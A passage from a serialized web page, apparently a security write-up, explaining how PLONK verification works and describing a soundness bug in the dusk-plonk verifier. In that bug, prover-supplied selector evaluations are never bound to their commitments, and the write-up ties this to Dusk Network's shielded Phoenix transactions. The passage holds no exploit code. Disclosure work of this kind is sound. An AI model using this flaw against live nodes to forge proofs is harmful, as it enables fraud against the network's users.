proof",{"type":29,"value":150788}," that the claimed value is consistent with the earlier commitment.",{"type":24,"tag":25,"props":150790,"children":150791},{},[150792],{"type":29,"value":150793},"A committed polynomial evaluation is therefore cryptographically bound, and the prover cannot lie about the value without being caught.",{"type":24,"tag":85,"props":150795,"children":150797},{"id":150796},"reducing-to-a-single-random-point",[150798],{"type":29,"value":150799},"Reducing to a single random point",{"type":24,"tag":25,"props":150801,"children":150802},{},[150803,150805,150845,150847,150872,150874,150996,150998,151023],{"type":29,"value":150804},"After the prover commits to all polynomials, including ",{"type":24,"tag":135,"props":150806,"children":150808},{"className":150807},[11705,11706],[150809],{"type":24,"tag":271,"props":150810,"children":150812},{"className":150811},[11711],[150813],{"type":24,"tag":271,"props":150814,"children":150816},{"className":150815,"ariaHidden":5670},[11716],[150817],{"type":24,"tag":271,"props":150818,"children":150820},{"className":150819},[11721],[150821,150825,150830,150835,150840],{"type":24,"tag":271,"props":150822,"children":150824},{"className":150823,"style":11831},[11726],[],{"type":24,"tag":271,"props":150826,"children":150828},{"className":150827,"style":29274},[11732,29273],[150829],{"type":29,"value":13704},{"type":24,"tag":271,"props":150831,"children":150833},{"className":150832},[29402],[150834],{"type":29,"value":606},{"type":24,"tag":271,"props":150836,"children":150838},{"className":150837},[11732,29273],[150839],{"type":29,"value":6034},{"type":24,"tag":271,"props":150841,"children":150843},{"className":150842},[29424],[150844],{"type":29,"value":2693},{"type":29,"value":150846},", the verifier picks a random challenge point ",{"type":24,"tag":135,"props":150848,"children":150850},{"className":150849},[11705,11706],[150851],{"type":24,"tag":271,"props":150852,"children":150854},{"className":150853},[11711],[150855],{"type":24,"tag":271,"props":150856,"children":150858},{"className":150857,"ariaHidden":5670},[11716],[150859],{"type":24,"tag":271,"props":150860,"children":150862},{"className":150861},[11721],[150863,150867],{"type":24,"tag":271,"props":150864,"children":150866},{"className":150865,"style":117678},[11726],[],{"type":24,"tag":271,"props":150868,"children":150870},{"className":150869,"style":120394},[11732,29273],[150871],{"type":29,"value":120397},{"type":29,"value":150873}," (derived via the Fiat-Shamir heuristic from the transcript) and checks ",{"type":24,"tag":135,"props":150875,"children":150877},{"className":150876},[11705,11706],[150878],{"type":24,"tag":271,"props":150879,"children":150881},{"className":150880},[11711],[150882],{"type":24,"tag":271,"props":150883,"children":150885},{"className":150884,"ariaHidden":5670},[11716],[150886,150927,150968],{"type":24,"tag":271,"props":150887,"children":150889},{"className":150888},[11721],[150890,150894,150899,150904,150909,150914,150918,150923],{"type":24,"tag":271,"props":150891,"children":150893},{"className":150892,"style":11831},[11726],[],{"type":24,"tag":271,"props":150895,"children":150897},{"className":150896,"style":29274},[11732,29273],[150898],{"type":29,"value":128615},{"type":24,"tag":271,"props":150900,"children":150902},{"className":150901},[29402],[150903],{"type":29,"value":606},{"type":24,"tag":271,"props":150905,"children":150907},{"className":150906,"style":120394},[11732,29273],[150908],{"type":29,"value":120397},{"type":24,"tag":271,"props":150910,"children":150912},{"className":150911},[29424],[150913],{"type":29,"value":2693},{"type":24,"tag":271,"props":150915,"children":150917},{"className":150916,"style":11908},[11810],[],{"type":24,"tag":271,"props":150919,"children":150921},{"className":150920},[11913],[150922],{"type":29,"value":762},{"type":24,"tag":271,"props":150924,"children":150926},{"className":150925,"style":11908},[11810],[],{"type":24,"tag":271,"props":150928,"children":150930},{"className":150929},[11721],[150931,150935,150940,150945,150950,150955,150959,150964],{"type":24,"tag":271,"props":150932,"children":150934},{"className":150933,"style":11831},[11726],[],{"type":24,"tag":271,"props":150936,"children":150938},{"className":150937,"style":29274},[11732,29273],[150939],{"type":29,"value":13704},{"type":24,"tag":271,"props":150941,"children":150943},{"className":150942},[29402],[150944],{"type":29,"value":606},{"type":24,"tag":271,"props":150946,"children":150948},{"className":150947,"style":120394},[11732,29273],[150949],{"type":29,"value":120397},{"type":24,"tag":271,"props":150951,"children":150953},{"className":150952},[29424],[150954],{"type":29,"value":2693},{"type":24,"tag":271,"props":150956,"children":150958},{"className":150957,"style":11811},[11810],[],{"type":24,"tag":271,"props":150960,"children":150962},{"className":150961},[11816],[150963],{"type":29,"value":118099},{"type":24,"tag":271,"props":150965,"children":150967},{"className":150966,"style":11811},[11810],[],{"type":24,"tag":271,"props":150969,"children":150971},{"className":150970},[11721],[150972,150976,150981,150986,150991],{"type":24,"tag":271,"props":150973,"children":150975},{"className":150974,"style":11831},[11726],[],{"type":24,"tag":271,"props":150977,"children":150979},{"className":150978,"style":29805},[11732,29273],[150980],{"type":29,"value":150401},{"type":24,"tag":271,"props":150982,"children":150984},{"className":150983},[29402],[150985],{"type":29,"value":606},{"type":24,"tag":271,"props":150987,"children":150989},{"className":150988,"style":120394},[11732,29273],[150990],{"type":29,"value":120397},{"type":24,"tag":271,"props":150992,"children":150994},{"className":150993},[29424],[150995],{"type":29,"value":2693},{"type":29,"value":150997}," at that single point. By the Schwartz-Zippel lemma, if this holds at a random ",{"type":24,"tag":135,"props":150999,"children":151001},{"className":151000},[11705,11706],[151002],{"type":24,"tag":271,"props":151003,"children":151005},{"className":151004},[11711],[151006],{"type":24,"tag":271,"props":151007,"children":151009},{"className":151008,"ariaHidden":5670},[11716],[151010],{"type":24,"tag":271,"props":151011,"children":151013},{"className":151012},[11721],[151014,151018],{"type":24,"tag":271,"props":151015,"children":151017},{"className":151016,"style":117678},[11726],[],{"type":24,"tag":271,"props":151019,"children":151021},{"className":151020,"style":120394},[11732,29273],[151022],{"type":29,"value":120397},{"type":29,"value":151024}," then the full polynomial identity holds with overwhelming probability, so the verifier checks the entire multi-million-row circuit in constant time.",{"type":24,"tag":25,"props":151026,"children":151027},{},[151028,151030,151055,151057,151062],{"type":29,"value":151029},"In textbook PLONK the selector polynomials are part of the fixed circuit description, but in practice implementations commit to them during preprocessing and place those commitments in the verifier key. When the verifier later needs their values at ",{"type":24,"tag":135,"props":151031,"children":151033},{"className":151032},[11705,11706],[151034],{"type":24,"tag":271,"props":151035,"children":151037},{"className":151036},[11711],[151038],{"type":24,"tag":271,"props":151039,"children":151041},{"className":151040,"ariaHidden":5670},[11716],[151042],{"type":24,"tag":271,"props":151043,"children":151045},{"className":151044},[11721],[151046,151050],{"type":24,"tag":271,"props":151047,"children":151049},{"className":151048,"style":117678},[11726],[],{"type":24,"tag":271,"props":151051,"children":151053},{"className":151052,"style":120394},[11732,29273],[151054],{"type":29,"value":120397},{"type":29,"value":151056},", the prover supplies ",{"type":24,"tag":10648,"props":151058,"children":151059},{},[151060],{"type":29,"value":151061},"evaluation claims",{"type":29,"value":151063}," that must be checked against those commitments with opening proofs.",{"type":24,"tag":25,"props":151065,"children":151066},{},[151067,151069,151073],{"type":29,"value":151068},"The security argument depends on a chain: commitments lock the prover into polynomials ",{"type":24,"tag":10648,"props":151070,"children":151071},{},[151072],{"type":29,"value":111381},{"type":29,"value":151074}," challenges are derived, and opening proofs ensure the evaluations are consistent with those commitments. Breaking any single link in this chain collapses soundness entirely.",{"type":24,"tag":85,"props":151076,"children":151078},{"id":151077},"what-the-verifier-is-actually-allowed-to-trust",[151079],{"type":29,"value":151080},"What the verifier is actually allowed to trust",{"type":24,"tag":25,"props":151082,"children":151083},{},[151084,151086,151091],{"type":29,"value":151085},"For this bug, one invariant matters more than the rest: ",{"type":24,"tag":213,"props":151087,"children":151088},{},[151089],{"type":29,"value":151090},"every scalar that enters the final verifier equation must be either locally computed by the verifier, or cryptographically tied to an earlier commitment",{"type":29,"value":41},{"type":24,"tag":25,"props":151093,"children":151094},{},[151095,151097,151189,151190,151282,151284,151309,151311,151351,151352,151392,151393,151486,151487,151533,151535,151622,151623,151710,151711,151798],{"type":29,"value":151096},"In practice, values entering the verifier equation fall into three buckets. The verifier computes some values locally from public data (",{"type":24,"tag":135,"props":151098,"children":151100},{"className":151099},[11705,11706],[151101],{"type":24,"tag":271,"props":151102,"children":151104},{"className":151103},[11711],[151105],{"type":24,"tag":271,"props":151106,"children":151108},{"className":151107,"ariaHidden":5670},[11716],[151109],{"type":24,"tag":271,"props":151110,"children":151112},{"className":151111},[11721],[151113,151117,151174,151179,151184],{"type":24,"tag":271,"props":151114,"children":151116},{"className":151115,"style":11831},[11726],[],{"type":24,"tag":271,"props":151118,"children":151120},{"className":151119},[11732],[151121,151126],{"type":24,"tag":271,"props":151122,"children":151124},{"className":151123,"style":29805},[11732,29273],[151125],{"type":29,"value":150401},{"type":24,"tag":271,"props":151127,"children":151129},{"className":151128},[11747],[151130],{"type":24,"tag":271,"props":151131,"children":151133},{"className":151132},[11752,29327],[151134,151163],{"type":24,"tag":271,"props":151135,"children":151137},{"className":151136},[11757],[151138,151158],{"type":24,"tag":271,"props":151139,"children":151141},{"className":151140,"style":149392},[11762],[151142],{"type":24,"tag":271,"props":151143,"children":151144},{"style":123086},[151145,151149],{"type":24,"tag":271,"props":151146,"children":151148},{"className":151147,"style":11772},[11771],[],{"type":24,"tag":271,"props":151150,"children":151152},{"className":151151},[11777,11778,11779,11780],[151153],{"type":24,"tag":271,"props":151154,"children":151156},{"className":151155,"style":100071},[11732,29273,11780],[151157],{"type":29,"value":100074},{"type":24,"tag":271,"props":151159,"children":151161},{"className":151160},[29430],[151162],{"type":29,"value":29433},{"type":24,"tag":271,"props":151164,"children":151166},{"className":151165},[11757],[151167],{"type":24,"tag":271,"props":151168,"children":151170},{"className":151169,"style":99920},[11762],[151171],{"type":24,"tag":271,"props":151172,"children":151173},{},[],{"type":24,"tag":271,"props":151175,"children":151177},{"className":151176},[29402],[151178],{"type":29,"value":606},{"type":24,"tag":271,"props":151180,"children":151182},{"className":151181,"style":120394},[11732,29273],[151183],{"type":29,"value":120397},{"type":24,"tag":271,"props":151185,"children":151187},{"className":151186},[29424],[151188],{"type":29,"value":2693},{"type":29,"value":158},{"type":24,"tag":135,"props":151191,"children":151193},{"className":151192},[11705,11706],[151194],{"type":24,"tag":271,"props":151195,"children":151197},{"className":151196},[11711],[151198],{"type":24,"tag":271,"props":151199,"children":151201},{"className":151200,"ariaHidden":5670},[11716],[151202],{"type":24,"tag":271,"props":151203,"children":151205},{"className":151204},[11721],[151206,151210,151267,151272,151277],{"type":24,"tag":271,"props":151207,"children":151209},{"className":151208,"style":11831},[11726],[],{"type":24,"tag":271,"props":151211,"children":151213},{"className":151212},[11732],[151214,151219],{"type":24,"tag":271,"props":151215,"children":151217},{"className":151216},[11732,29273],[151218],{"type":29,"value":124801},{"type":24,"tag":271,"props":151220,"children":151222},{"className":151221},[11747],[151223],{"type":24,"tag":271,"props":151224,"children":151226},{"className":151225},[11752,29327],[151227,151256],{"type":24,"tag":271,"props":151228,"children":151230},{"className":151229},[11757],[151231,151251],{"type":24,"tag":271,"props":151232,"children":151234},{"className":151233,"style":99889},[11762],[151235],{"type":24,"tag":271,"props":151236,"children":151237},{"style":99893},[151238,151242],{"type":24,"tag":271,"props":151239,"children":151241},{"className":151240,"style":11772},[11771],[],{"type":24,"tag":271,"props":151243,"children":151245},{"className":151244},[11777,11778,11779,11780],[151246],{"type":24,"tag":271,"props":151247,"children":151249},{"className":151248},[11732,11780],[151250],{"type":29,"value":156},{"type":24,"tag":271,"props":151252,"children":151254},{"className":151253},[29430],[151255],{"type":29,"value":29433},{"type":24,"tag":271,"props":151257,"children":151259},{"className":151258},[11757],[151260],{"type":24,"tag":271,"props":151261,"children":151263},{"className":151262,"style":99920},[11762],[151264],{"type":24,"tag":271,"props":151265,"children":151266},{},[],{"type":24,"tag":271,"props":151268,"children":151270},{"className":151269},[29402],[151271],{"type":29,"value":606},{"type":24,"tag":271,"props":151273,"children":151275},{"className":151274,"style":120394},[11732,29273],[151276],{"type":29,"value":120397},{"type":24,"tag":271,"props":151278,"children":151280},{"className":151279},[29424],[151281],{"type":29,"value":2693},{"type":29,"value":151283},", the public-input polynomial at ",{"type":24,"tag":135,"props":151285,"children":151287},{"className":151286},[11705,11706],[151288],{"type":24,"tag":271,"props":151289,"children":151291},{"className":151290},[11711],[151292],{"type":24,"tag":271,"props":151293,"children":151295},{"className":151294,"ariaHidden":5670},[11716],[151296],{"type":24,"tag":271,"props":151297,"children":151299},{"className":151298},[11721],[151300,151304],{"type":24,"tag":271,"props":151301,"children":151303},{"className":151302,"style":117678},[11726],[],{"type":24,"tag":271,"props":151305,"children":151307},{"className":151306,"style":120394},[11732,29273],[151308],{"type":29,"value":120397},{"type":29,"value":151310},"), which are safe because the prover never chooses them. Other values are prover-supplied evaluations accompanied by KZG opening proofs (",{"type":24,"tag":135,"props":151312,"children":151314},{"className":151313},[11705,11706],[151315],{"type":24,"tag":271,"props":151316,"children":151318},{"className":151317},[11711],[151319],{"type":24,"tag":271,"props":151320,"children":151322},{"className":151321,"ariaHidden":5670},[11716],[151323],{"type":24,"tag":271,"props":151324,"children":151326},{"className":151325},[11721],[151327,151331,151336,151341,151346],{"type":24,"tag":271,"props":151328,"children":151330},{"className":151329,"style":11831},[11726],[],{"type":24,"tag":271,"props":151332,"children":151334},{"className":151333},[11732,29273],[151335],{"type":29,"value":32},{"type":24,"tag":271,"props":151337,"children":151339},{"className":151338},[29402],[151340],{"type":29,"value":606},{"type":24,"tag":271,"props":151342,"children":151344},{"className":151343,"style":120394},[11732,29273],[151345],{"type":29,"value":120397},{"type":24,"tag":271,"props":151347,"children":151349},{"className":151348},[29424],[151350],{"type":29,"value":2693},{"type":29,"value":158},{"type":24,"tag":135,"props":151353,"children":151355},{"className":151354},[11705,11706],[151356],{"type":24,"tag":271,"props":151357,"children":151359},{"className":151358},[11711],[151360],{"type":24,"tag":271,"props":151361,"children":151363},{"className":151362,"ariaHidden":5670},[11716],[151364],{"type":24,"tag":271,"props":151365,"children":151367},{"className":151366},[11721],[151368,151372,151377,151382,151387],{"type":24,"tag":271,"props":151369,"children":151371},{"className":151370,"style":11831},[11726],[],{"type":24,"tag":271,"props":151373,"children":151375},{"className":151374},[11732,29273],[151376],{"type":29,"value":10954},{"type":24,"tag":271,"props":151378,"children":151380},{"className":151379},[29402],[151381],{"type":29,"value":606},{"type":24,"tag":271,"props":151383,"children":151385},{"className":151384,"style":120394},[11732,29273],[151386],{"type":29,"value":120397},{"type":24,"tag":271,"props":151388,"children":151390},{"className":151389},[29424],[151391],{"type":29,"value":2693},{"type":29,"value":158},{"type":24,"tag":135,"props":151394,"children":151396},{"className":151395},[11705,11706],[151397],{"type":24,"tag":271,"props":151398,"children":151400},{"className":151399},[11711],[151401],{"type":24,"tag":271,"props":151402,"children":151404},{"className":151403,"ariaHidden":5670},[11716],[151405],{"type":24,"tag":271,"props":151406,"children":151408},{"className":151407},[11721],[151409,151413,151471,151476,151481],{"type":24,"tag":271,"props":151410,"children":151412},{"className":151411,"style":11831},[11726],[],{"type":24,"tag":271,"props":151414,"children":151416},{"className":151415},[11732],[151417,151423],{"type":24,"tag":271,"props":151418,"children":151420},{"className":151419,"style":100323},[11732,29273],[151421],{"type":29,"value":151422},"σ",{"type":24,"tag":271,"props":151424,"children":151426},{"className":151425},[11747],[151427],{"type":24,"tag":271,"props":151428,"children":151430},{"className":151429},[11752,29327],[151431,151460],{"type":24,"tag":271,"props":151432,"children":151434},{"className":151433},[11757],[151435,151455],{"type":24,"tag":271,"props":151436,"children":151438},{"className":151437,"style":99889},[11762],[151439],{"type":24,"tag":271,"props":151440,"children":151441},{"style":100370},[151442,151446],{"type":24,"tag":271,"props":151443,"children":151445},{"className":151444,"style":11772},[11771],[],{"type":24,"tag":271,"props":151447,"children":151449},{"className":151448},[11777,11778,11779,11780],[151450],{"type":24,"tag":271,"props":151451,"children":151453},{"className":151452},[11732,11780],[151454],{"type":29,"value":156},{"type":24,"tag":271,"props":151456,"children":151458},{"className":151457},[29430],[151459],{"type":29,"value":29433},{"type":24,"tag":271,"props":151461,"children":151463},{"className":151462},[11757],[151464],{"type":24,"tag":271,"props":151465,"children":151467},{"className":151466,"style":99920},[11762],[151468],{"type":24,"tag":271,"props":151469,"children":151470},{},[],{"type":24,"tag":271,"props":151472,"children":151474},{"className":151473},[29402],[151475],{"type":29,"value":606},{"type":24,"tag":271,"props":151477,"children":151479},{"className":151478,"style":120394},[11732,29273],[151480],{"type":29,"value":120397},{"type":24,"tag":271,"props":151482,"children":151484},{"className":151483},[29424],[151485],{"type":29,"value":2693},{"type":29,"value":158},{"type":24,"tag":135,"props":151488,"children":151490},{"className":151489},[11705,11706],[151491],{"type":24,"tag":271,"props":151492,"children":151494},{"className":151493},[11711],[151495],{"type":24,"tag":271,"props":151496,"children":151498},{"className":151497,"ariaHidden":5670},[11716],[151499],{"type":24,"tag":271,"props":151500,"children":151502},{"className":151501},[11721],[151503,151507,151512,151517,151522,151528],{"type":24,"tag":271,"props":151504,"children":151506},{"className":151505,"style":11831},[11726],[],{"type":24,"tag":271,"props":151508,"children":151510},{"className":151509},[11732,29273],[151511],{"type":29,"value":32},{"type":24,"tag":271,"props":151513,"children":151515},{"className":151514},[29402],[151516],{"type":29,"value":606},{"type":24,"tag":271,"props":151518,"children":151520},{"className":151519,"style":120394},[11732,29273],[151521],{"type":29,"value":120397},{"type":24,"tag":271,"props":151523,"children":151525},{"className":151524,"style":100323},[11732,29273],[151526],{"type":29,"value":151527},"ω",{"type":24,"tag":271,"props":151529,"children":151531},{"className":151530},[29424],[151532],{"type":29,"value":2693},{"type":29,"value":151534},"), which are safe because the opening binds them to previously committed polynomials. A third category consists of verifier-key commitments used directly in the linearization multiscalar multiplication (",{"type":24,"tag":135,"props":151536,"children":151538},{"className":151537},[11705,11706],[151539],{"type":24,"tag":271,"props":151540,"children":151542},{"className":151541},[11711],[151543],{"type":24,"tag":271,"props":151544,"children":151546},{"className":151545,"ariaHidden":5670},[11716],[151547],{"type":24,"tag":271,"props":151548,"children":151550},{"className":151549},[11721],[151551,151555,151560,151617],{"type":24,"tag":271,"props":151552,"children":151554},{"className":151553,"style":11831},[11726],[],{"type":24,"tag":271,"props":151556,"children":151558},{"className":151557},[29402],[151559],{"type":29,"value":4520},{"type":24,"tag":271,"props":151561,"children":151563},{"className":151562},[11732],[151564,151569],{"type":24,"tag":271,"props":151565,"children":151567},{"className":151566,"style":100323},[11732,29273],[151568],{"type":29,"value":100326},{"type":24,"tag":271,"props":151570,"children":151572},{"className":151571},[11747],[151573],{"type":24,"tag":271,"props":151574,"children":151576},{"className":151575},[11752,29327],[151577,151606],{"type":24,"tag":271,"props":151578,"children":151580},{"className":151579},[11757],[151581,151601],{"type":24,"tag":271,"props":151582,"children":151584},{"className":151583,"style":149392},[11762],[151585],{"type":24,"tag":271,"props":151586,"children":151587},{"style":100370},[151588,151592],{"type":24,"tag":271,"props":151589,"children":151591},{"className":151590,"style":11772},[11771],[],{"type":24,"tag":271,"props":151593,"children":151595},{"className":151594},[11777,11778,11779,11780],[151596],{"type":24,"tag":271,"props":151597,"children":151599},{"className":151598,"style":101845},[11732,29273,11780],[151600],{"type":29,"value":101848},{"type":24,"tag":271,"props":151602,"children":151604},{"className":151603},[29430],[151605],{"type":29,"value":29433},{"type":24,"tag":271,"props":151607,"children":151609},{"className":151608},[11757],[151610],{"type":24,"tag":271,"props":151611,"children":151613},{"className":151612,"style":99920},[11762],[151614],{"type":24,"tag":271,"props":151615,"children":151616},{},[],{"type":24,"tag":271,"props":151618,"children":151620},{"className":151619},[29424],[151621],{"type":29,"value":23108},{"type":29,"value":158},{"type":24,"tag":135,"props":151624,"children":151626},{"className":151625},[11705,11706],[151627],{"type":24,"tag":271,"props":151628,"children":151630},{"className":151629},[11711],[151631],{"type":24,"tag":271,"props":151632,"children":151634},{"className":151633,"ariaHidden":5670},[11716],[151635],{"type":24,"tag":271,"props":151636,"children":151638},{"className":151637},[11721],[151639,151643,151648,151705],{"type":24,"tag":271,"props":151640,"children":151642},{"className":151641,"style":11831},[11726],[],{"type":24,"tag":271,"props":151644,"children":151646},{"className":151645},[29402],[151647],{"type":29,"value":4520},{"type":24,"tag":271,"props":151649,"children":151651},{"className":151650},[11732],[151652,151657],{"type":24,"tag":271,"props":151653,"children":151655},{"className":151654,"style":100323},[11732,29273],[151656],{"type":29,"value":100326},{"type":24,"tag":271,"props":151658,"children":151660},{"className":151659},[11747],[151661],{"type":24,"tag":271,"props":151662,"children":151664},{"className":151663},[11752,29327],[151665,151694],{"type":24,"tag":271,"props":151666,"children":151668},{"className":151667},[11757],[151669,151689],{"type":24,"tag":271,"props":151670,"children":151672},{"className":151671,"style":149392},[11762],[151673],{"type":24,"tag":271,"props":151674,"children":151675},{"style":100370},[151676,151680],{"type":24,"tag":271,"props":151677,"children":151679},{"className":151678,"style":11772},[11771],[],{"type":24,"tag":271,"props":151681,"children":151683},{"className":151682},[11777,11778,11779,11780],[151684],{"type":24,"tag":271,"props":151685,"children":151687},{"className":151686,"style":99837},[11732,29273,11780],[151688],{"type":29,"value":122156},{"type":24,"tag":271,"props":151690,"children":151692},{"className":151691},[29430],[151693],{"type":29,"value":29433},{"type":24,"tag":271,"props":151695,"children":151697},{"className":151696},[11757],[151698],{"type":24,"tag":271,"props":151699,"children":151701},{"className":151700,"style":99920},[11762],[151702],{"type":24,"tag":271,"props":151703,"children":151704},{},[],{"type":24,"tag":271,"props":151706,"children":151708},{"className":151707},[29424],[151709],{"type":29,"value":23108},{"type":29,"value":158},{"type":24,"tag":135,"props":151712,"children":151714},{"className":151713},[11705,11706],[151715],{"type":24,"tag":271,"props":151716,"children":151718},{"className":151717},[11711],[151719],{"type":24,"tag":271,"props":151720,"children":151722},{"className":151721,"ariaHidden":5670},[11716],[151723],{"type":24,"tag":271,"props":151724,"children":151726},{"className":151725},[11721],[151727,151731,151736,151793],{"type":24,"tag":271,"props":151728,"children":151730},{"className":151729,"style":11831},[11726],[],{"type":24,"tag":271,"props":151732,"children":151734},{"className":151733},[29402],[151735],{"type":29,"value":4520},{"type":24,"tag":271,"props":151737,"children":151739},{"className":151738},[11732],[151740,151745],{"type":24,"tag":271,"props":151741,"children":151743},{"className":151742,"style":100323},[11732,29273],[151744],{"type":29,"value":151422},{"type":24,"tag":271,"props":151746,"children":151748},{"className":151747},[11747],[151749],{"type":24,"tag":271,"props":151750,"children":151752},{"className":151751},[11752,29327],[151753,151782],{"type":24,"tag":271,"props":151754,"children":151756},{"className":151755},[11757],[151757,151777],{"type":24,"tag":271,"props":151758,"children":151760},{"className":151759,"style":99889},[11762],[151761],{"type":24,"tag":271,"props":151762,"children":151763},{"style":100370},[151764,151768],{"type":24,"tag":271,"props":151765,"children":151767},{"className":151766,"style":11772},[11771],[],{"type":24,"tag":271,"props":151769,"children":151771},{"className":151770},[11777,11778,11779,11780],[151772],{"type":24,"tag":271,"props":151773,"children":151775},{"className":151774},[11732,11780],[151776],{"type":29,"value":3365},{"type":24,"tag":271,"props":151778,"children":151780},{"className":151779},[29430],[151781],{"type":29,"value":29433},{"type":24,"tag":271,"props":151783,"children":151785},{"className":151784},[11757],[151786],{"type":24,"tag":271,"props":151787,"children":151789},{"className":151788,"style":99920},[11762],[151790],{"type":24,"tag":271,"props":151791,"children":151792},{},[],{"type":24,"tag":271,"props":151794,"children":151796},{"className":151795},[29424],[151797],{"type":29,"value":23108},{"type":29,"value":151799},"), which are safe because the verifier never trusts a bare field element for these; it uses the commitment itself.",{"type":24,"tag":25,"props":151801,"children":151802},{},[151803],{"type":29,"value":151804},"Any term that falls outside those three categories is attacker-controlled by construction.",{"type":24,"tag":26485,"props":151806,"children":151807},{},[],{"type":24,"tag":62,"props":151809,"children":151811},{"id":151810},"where-dusk-plonk-differs-from-textbook-plonk",[151812],{"type":29,"value":151813},"Where dusk-plonk differs from textbook PLONK",{"type":24,"tag":25,"props":151815,"children":151816},{},[151817,151826,151828,151833,151835,151865],{"type":24,"tag":32,"props":151818,"children":151820},{"href":148692,"rel":151819},[36],[151821],{"type":24,"tag":135,"props":151822,"children":151824},{"className":151823},[],[151825],{"type":29,"value":148696},{"type":29,"value":151827}," is not a literal transcription of the 2019 PLONK paper. It extends the arithmetic gate with a fourth wire ",{"type":24,"tag":135,"props":151829,"children":151831},{"className":151830},[],[151832],{"type":29,"value":77352},{"type":29,"value":151834},", adds custom widgets for range, logic, and elliptic-curve operations, uses shifted evaluations at ",{"type":24,"tag":135,"props":151836,"children":151838},{"className":151837},[11705,11706],[151839],{"type":24,"tag":271,"props":151840,"children":151842},{"className":151841},[11711],[151843],{"type":24,"tag":271,"props":151844,"children":151846},{"className":151845,"ariaHidden":5670},[11716],[151847],{"type":24,"tag":271,"props":151848,"children":151850},{"className":151849},[11721],[151851,151855,151860],{"type":24,"tag":271,"props":151852,"children":151854},{"className":151853,"style":117678},[11726],[],{"type":24,"tag":271,"props":151856,"children":151858},{"className":151857,"style":120394},[11732,29273],[151859],{"type":29,"value":120397},{"type":24,"tag":271,"props":151861,"children":151863},{"className":151862,"style":100323},[11732,29273],[151864],{"type":29,"value":151527},{"type":29,"value":151866},", and heavily batches KZG openings. None of that is exotic by modern PLONK standards, but it does make the verifier harder to reason about than the minimal paper presentation.",{"type":24,"tag":25,"props":151868,"children":151869},{},[151870,151872,151877,151878,151883,151885,151891,151893,151900],{"type":29,"value":151871},"The important part for this bug is the boundary between ",{"type":24,"tag":213,"props":151873,"children":151874},{},[151875],{"type":29,"value":151876},"public circuit data",{"type":29,"value":518},{"type":24,"tag":213,"props":151879,"children":151880},{},[151881],{"type":29,"value":151882},"prover claims about that data at the random challenge point",{"type":29,"value":151884},". Parallel implementations avoid this ambiguity by keeping selector polynomials strictly out of the prover's hands. For example, Consensys' gnark (one of the most widely deployed PLONK implementations) never asks the prover for selector evaluations at all. Instead, the verifier incorporates the selector commitments ",{"type":24,"tag":135,"props":151886,"children":151888},{"className":151887},[],[151889],{"type":29,"value":151890},"Ql, Qr, Qm, Qo, Qk",{"type":29,"value":151892}," directly into the ",{"type":24,"tag":32,"props":151894,"children":151897},{"href":151895,"rel":151896},"https://github.com/Consensys/gnark/blob/17b079f1b813d9dafd465202466b09f282b4c5e9/backend/plonk/bls12-381/verify.go#L253-L270",[36],[151898],{"type":29,"value":151899},"linearization multi-scalar multiplication",{"type":29,"value":151901},", ensuring their values are cryptographically bound by construction.",{"type":24,"tag":25,"props":151903,"children":151904},{},[151905,151907,151932],{"type":29,"value":151906},"Dusk's custom widgets were more complex (multiplying selectors with other evaluated terms), so they could not just use a simple linear combination of commitments. Their architecture required evaluating the selectors at ",{"type":24,"tag":135,"props":151908,"children":151910},{"className":151909},[11705,11706],[151911],{"type":24,"tag":271,"props":151912,"children":151914},{"className":151913},[11711],[151915],{"type":24,"tag":271,"props":151916,"children":151918},{"className":151917,"ariaHidden":5670},[11716],[151919],{"type":24,"tag":271,"props":151920,"children":151922},{"className":151921},[11721],[151923,151927],{"type":24,"tag":271,"props":151924,"children":151926},{"className":151925,"style":117678},[11726],[],{"type":24,"tag":271,"props":151928,"children":151930},{"className":151929,"style":120394},[11732,29273],[151931],{"type":29,"value":120397},{"type":29,"value":151933}," and using those scalars. But while they serialized those four selector evaluations into the proof struct, they never actually verified them against the verifier key's commitments through an opening proof.",{"type":24,"tag":25,"props":151935,"children":151936},{},[151937],{"type":29,"value":151938},"The shortest way to see the bug is the graph below: safe values flow through the opening path toward the final pairing check, while the red selector flow enters verifier logic without ever touching an opening proof.",{"type":24,"tag":151940,"props":151941,"children":151942},"dusk-verifier-dependence-graph",{},[],{"type":24,"tag":26485,"props":151944,"children":151945},{},[],{"type":24,"tag":62,"props":151947,"children":151949},{"id":151948},"how-dusk-uses-plonk",[151950],{"type":29,"value":151951},"How Dusk uses PLONK",{"type":24,"tag":25,"props":151953,"children":151954},{},[151955,151961],{"type":24,"tag":32,"props":151956,"children":151958},{"href":148701,"rel":151957},[36],[151959],{"type":29,"value":151960},"Dusk Network",{"type":29,"value":151962}," is a privacy-focused L1 blockchain. Its transaction model has two modes:",{"type":24,"tag":97,"props":151964,"children":151965},{},[151966,151971],{"type":24,"tag":101,"props":151967,"children":151968},{},[151969],{"type":29,"value":151970},"Phoenix (shielded): amounts and participants are hidden using ZK proofs, and every Phoenix transaction carries a PLONK proof that the transaction is valid.",{"type":24,"tag":101,"props":151972,"children":151973},{},[151974],{"type":29,"value":151975},"Moonlight (transparent): standard account-based transactions verified by BLS signatures, with no PLONK involvement.",{"type":24,"tag":25,"props":151977,"children":151978},{},[151979,151981,151992,151994,152005],{"type":29,"value":151980},"At node level, every ",{"type":24,"tag":32,"props":151982,"children":151985},{"href":151983,"rel":151984},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/rusk/src/lib/node/vm.rs#L152-L185",[36],[151986],{"type":24,"tag":135,"props":151987,"children":151989},{"className":151988},[],[151990],{"type":29,"value":151991},"ProtocolTransaction::Phoenix",{"type":29,"value":151993}," goes through ",{"type":24,"tag":32,"props":151995,"children":151998},{"href":151996,"rel":151997},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/rusk/src/lib/verifier.rs#L71-L82",[36],[151999],{"type":24,"tag":135,"props":152000,"children":152002},{"className":152001},[],[152003],{"type":29,"value":152004},"verify_proof_with_version()",{"type":29,"value":152006}," during preverification. If that PLONK proof verifies, the transaction is admitted to the mempool and can later be mined into a block. Moonlight-path transactions instead go through BLS signature verification.",{"type":24,"tag":25,"props":152008,"children":152009},{},[152010,152012,152023,152025,152036,152037,152048,152049,152060,152061,152072],{"type":29,"value":152011},"That same Phoenix proof path covers more than simple shielded transfers. Phoenix-path staking, reward withdrawals, unstaking, and Phoenix-to-Moonlight conversion all build a Phoenix transaction via 